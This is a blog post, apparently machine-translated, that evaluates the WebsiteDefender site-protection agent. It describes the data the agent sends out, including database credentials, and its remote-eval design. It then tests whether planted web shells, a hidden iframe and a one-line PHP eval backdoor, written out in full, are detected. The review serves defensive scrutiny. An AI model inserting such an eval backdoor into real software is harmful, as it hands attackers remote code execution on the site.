How WebsiteDefender Works
Historically, most people consider protection only from outside attacks sufficient - SQL, XSS injection, LFI \ RFI, CSRF, etc., forgetting about attacks on web application files. The same WAFs, such as mod_security, phpids are a prime example.
This seems to me not very fair, so I wanted to consider the possibilities of the WebsiteDefender service, which, according to the description, should be able to protect web application files from modifications.
It is proposed to download a certain agent - php-file, in which a whole set of functions for encryption and ... design
$success = @eval('?>'.$request->params);The question, what does this php code do, arose even before it was downloaded, and after a quick look and find such an interesting arsenal, even more questions arise. Although the company seems to be fairly well-known - Acunetix, hardly anyone wants to put a cat in a bag on their website.
Support response to the request to provide information, what their code does, and the results of their research of the service under the cat.
WebsiteDefender does not provide details of its work
From the correspondence I will give only the most important thing.
Me: I just want know what your php code do. Not common information such as 'protect website ...' but more techical details. What information it collect and send to your server, etc. Because now it is blackbox for me.
Support Answer:
We don't provide specific details.
However remotely we cannot determine thing like for example if a WordPress user account password is weak, or if a plugin is vulnerable or not. Thus, the WSD agent is used to retrieve such information from a remote website and send it to our server for analysis. We basically look directly into the code and database and we analyse what there is.
It turns out to be very interesting: they provide a service to protect websites, but they do not disclose the specific details of what their agent does. From the last answer it became almost clear what was being collected and sent.
What php agent WebsiteDefender receives and sends
After a couple of days, I installed the dyndns client on my home laptop, registered a test host, installed apache, php, mysql and wordpress, added a reset to the input and output data log of their agent, and began to periodically check the log.
Those who wish can see the agent code themselves, everything is simple in it. The most important thing is that after all kinds of checks for execution , an external php code is sent, sent by the WebsiteDefender robot . It turns out a kind of shell, which is used not for hacking, but seems to be to protect the site.
The following data is collected and sent:
- Php version, $ _SERVER array
- The structure of directories and files is a list of files of specified extensions (php, html, js, htaccess, ini, log, etc.), and then their sha1 hashes, date of change, access rights
- Database connection parameters - name, host, login and password
- Some short strings and their md5 hashes - apparently, to verify that the agent is working.
Suppose you are not confused that the service in exchange for a promise to protect your site requires you to install an agent through which any code can be executed in the future .
I decided to check how quickly traces of a site hack will be found:
- An old Web Shell by oRb packed and source, some ancient shell from Antichat scattered across different directories of the site
- An invisible iframe inserted into Wordpress theme footer
- Fixed index.php by adding
if ( $_REQUEST['evil'] == 1 ) { eval( '?>'. $_GET[ 'cmd' ] ); exit(); }
All changes were detected after 2 days during the next full scan of the site’s files, before that the robot calmly received md5 hashes. It is interesting that in the admin panel Web Shell by oRb was marked as a critical threat and defined according to different templates:
/wp-admin/network/wso2.php, the template was eval ($ _ POST ['p1']
/ wp-admin / includes / wso2_pack .php, template - A shell from Antichat was modestly listed among the new files. Most likely, this service will also not mark critical homemade unallocated packed shells, although the php executable should be allocated first of all.
Instead of conclusions
Surely, even in your thoughts you did not want to install other people's scripts to protect your site. The topic is for informational purposes only. I just want to show with a well-turned-up example that you shouldn’t blindly rely on external services - to protect your web applications from modifying their files and loading shells, even a simple self-written file inspector is enough, which can be written in a couple of hours, but has the reaction time you need and is able to recover files. Not to mention the configuration of specialized utilities on the server.